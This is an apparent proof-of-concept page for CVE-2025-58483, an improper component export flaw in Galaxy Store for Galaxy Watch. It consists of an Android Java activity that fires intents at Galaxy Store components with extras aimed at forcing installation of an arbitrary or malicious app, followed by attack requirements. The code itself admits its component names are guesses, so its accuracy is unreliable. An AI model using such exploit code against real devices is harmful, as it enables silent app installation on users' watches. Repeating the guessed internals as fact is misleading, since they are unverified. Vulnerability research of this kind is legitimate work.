CVE-2025-58483: Galaxy Store for Galaxy Watch组件导出不当漏洞

// CVE-2025-58483 PoC - Exploit improper component export in Galaxy Store for Galaxy Watch // This PoC demonstrates how a local attacker can abuse exported components package com.example.cve202558483; import android.content.ComponentName; import android.content.Intent; import android.os.Bundle; import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // Attempt to exploit improper exported components in Galaxy Store exploitGalaxyStore(); } private void exploitGalaxyStore() { try { // Target package: com.sec.android.app.samsungapps // Exported component names (examples - actual names need enumeration) // Method 1: Direct component invocation String[] exportedActivities = { "com.sec.android.app.samsungapps.MainActivity", "com.sec.android.app.samsungapps.InstallActivity", "com.sec.android.app.samsungapps.DownloadActivity" }; for (String activity : exportedActivities) { Intent intent = new Intent(); intent.setComponent(new ComponentName( "com.sec.android.app.samsungapps", activity )); // Add extra data to trigger app installation intent.putExtra("package_name", "com.malicious.app"); intent.putExtra("install_action", true); startActivity(intent); } // Method 2: Using action strings Intent installIntent = new Intent(); installIntent.setAction("com.sec.android.app.samsungapps.ACTION_INSTALL"); installIntent.setPackage("com.sec.android.app.samsungapps"); installIntent.putExtra("app_id", "arbitrary_app_id"); installIntent.putExtra("force_install", true); startService(installIntent); } catch (Exception e) { e.printStackTrace(); } } } // Requirements: // 1. Local access to Galaxy Watch device // 2. Target: Galaxy Store for Galaxy Watch < 1.0.06.29 // 3. No special permissions required for exploitation // 4. Attack vector: AV:L (Local), PR:N (No privileges), UI:N (No user interaction)